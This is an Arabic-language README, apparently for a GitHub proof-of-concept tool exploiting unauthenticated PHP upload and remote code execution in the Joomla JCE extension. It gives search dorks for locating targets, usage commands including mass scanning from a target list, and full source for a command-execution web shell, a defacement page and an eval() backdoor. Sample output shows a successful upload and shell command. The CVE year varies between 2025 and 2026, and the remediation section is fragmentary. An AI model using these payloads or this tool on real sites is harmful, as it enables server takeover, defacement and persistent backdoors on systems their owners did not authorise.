
CVE-2025-48907 - استغلال تنفيذ التعليمات البرمجية عن بُعد بدون مصادقة لـ Joomla JCE < 2.9.99.5
إضافة JCE لـ Joomla! < 2.9.99.5 - رفع ملفات PHP تعسفي غير مُوثَّق وتنفيذ أوامر عن بُعد
http.component:"Joomla"
app="Joomla"
يحتوي هذا المستودع على إثبات مفهوم (PoC) لاستغلال الثغرة CVE-2026-48907، وهي ثغرة خطيرة في إضافة JCE (محرر محتوى Joomla) لإصدارات Joomla! السابقة للإصدار 2.9.99.5. تسمح الثغرة للمهاجمين غير المُوثَّقين برفع ملفات PHP تعسفية عبر وظيفة استيراد ملفات التعريف في JCE، مما يؤدي إلى تنفيذ الأوامر عن بُعد (RCE).
هذه الأداة لأغراض تعليمية واختبارية مُصرَّح بها فقط.
- استخدمها فقط على أنظمة تملكها أو لديك إذن صريح لاختبارها
- المؤلف غير مسؤول عن أي إساءة استخدام أو أنشطة غير قانونية
- احصل دائمًا على التفويض المناسب قبل الاختبار
index.php?option=com_jce&task=profiles.import)/tmp/ ويمكن تنفيذه عبر الوصول المباشر# Clone the repository
git clone https://github.com/0xgh057r3c0n/CVE-2025-48907.git
cd CVE-2025-48907
# Install required dependencies
pip3 install requests urllib3
requestsurllib3python3 CVE-2025-48907.py -u <TARGET_URL> -F <PHP_FILE_TO_UPLOAD>
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F deface.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F backdoor.php
python3 CVE-2025-48907.py -f targets.txt -F payload.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php -v -o results.txt
* يجب توفير إما -u أو -f
أنشئ ملف targets.txt مع عنوان URL واحد في كل سطر:
http://joomla-site1.com
https://joomla-site2.com
http://192.168.1.100/joomla
# Comments are ignored
https://example-joomla.com
يجب أن تكون جميع الحمولات ملفات PHP لأن الاستغلال يرفع كود PHP سيتم تنفيذه على الخادم.
أنشئ shell.php:
<?php
// Simple PHP Web Shell
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
} else {
echo "Usage: ?cmd=command";
}
?>
أنشئ deface.php:
<?php
// PHP Deface Page
echo '<!DOCTYPE html>
<html>
<head>
<title>Hacked by 0xgh057r3c0n</title>
<style>
body {
background: #000;
color: #0f0;
font-family: "Courier New", monospace;
text-align: center;
padding: 50px;
}
h1 { font-size: 4em; text-shadow: 0 0 20px #0f0; }
.ascii-art { white-space: pre; font-size: 12px; }
</style>
</head>
<body>
<h1>HACKED BY 0xgh057r3c0n</h1>
<div class="ascii-art">
██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗
██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
███████║███████║██║ █████╔╝ █████╗ ██║ ██║
██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██║ ██║
██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██████╔╝
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═════╝
</div>
<p>Security is not a product, it\'s a process.</p>
<p>Server: <?php echo $_SERVER["SERVER_SOFTWARE"]; ?></p>
<p>Time: <?php echo date("Y-m-d H:i:s"); ?></p>
</body>
</html>';
?>
أنشئ backdoor.php:
<?php
// Minimal PHP Backdoor
if(isset($_REQUEST['c'])) { eval($_REQUEST['c']); }
?>
_____________ _______________ _______________ ________ ________ _____ ______ ________________________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/ _____/ / | | / __ \/ __ \ _ \______ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ __ \ ______ / | |_> <\____ / /_\ \ / /
\ \____\ / | \ /_____/ / \ \_/ \/ \ |__\ \ /_____/ / ^ / -- \ / /\ \_/ \/ /
\______ / \___/ /_______ / \_______ \_____ /\_______ \_____ / \____ |\______ / /____/ \_____ /____/
\/ \/ \/ \/ \/ \/ |__| \/ \/
Joomla! JCE extension < 2.9.99.5 Unauthenticated RCE
Author : 0xgh057r3c0n (PHP File Upload)
[*] Loaded 3 target(s)
[*] Target 1/3
[*] ==================================================
[+] Target: http://target-joomla.com
[+] Fetching CSRF token...
[+] CSRF Token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] Uploading PHP file: cve-2026-48907-1234.xml.php
[+] Profile imported successfully!
[+] Testing uploaded PHP file...
============================================================
[!!!!!] PHP FILE UPLOADED SUCCESSFULLY!
[!!!!!] Server IS VULNERABLE to CVE-2025-48907!
============================================================
[+] View your uploaded PHP file: http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php
[+] Quick access:
curl "http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php?cmd=id"
/tmp/index.php?option=com_jce&task=profiles.import.xml.php في /tmp//tmp/تحديث إضافة JCE:
حلول مؤقتة:
/tmp/allow_url_fopen إذا لم يكن مطلوبًاإجراءات ما بعد الاختراق:
/tmp/هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.
المساهمات مرحب بها! لا تتردد في تقديم طلب سحب.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)إذا وجدت هذه الأداة مفيدة، يُرجى التفكير في منحها نجمة ⭐ على GitHub!
| الخاصية | القيمة |
|---|
| معرف CVE | CVE-2026-48907 |
| المنتج | إضافة JCE لـ Joomla! |
| الإصدارات المتأثرة | < 2.9.99.5 |
| نوع الثغرة | رفع ملف PHP غير مُوثَّق → تنفيذ أوامر عن بُعد |
| درجة CVSS | 9.8 (حرجة) |
| متجه الهجوم | الشبكة |
| المصادقة | غير مطلوبة |
| التأثير | اختراق كامل للنظام |
| الوسيط | مطلوب | الوصف |
|---|
-u, --url | نعم* | عنوان URL هدف واحد (مثال: http://target.com) |
-f, --file | نعم* | ملف يحتوي على قائمة عناوين URL للأهداف (واحد في كل سطر) |
-F, --upload-file | نعم | ملف PHP للرفع (قذيفة، باب خلفي، صفحة تشويه) |
-v, --verbose | لا | تفعيل الإخراج المُفصَّل لتصحيح الأخطاء |
-o, --output | لا | حفظ عناوين URL الناجحة للرفع إلى ملف |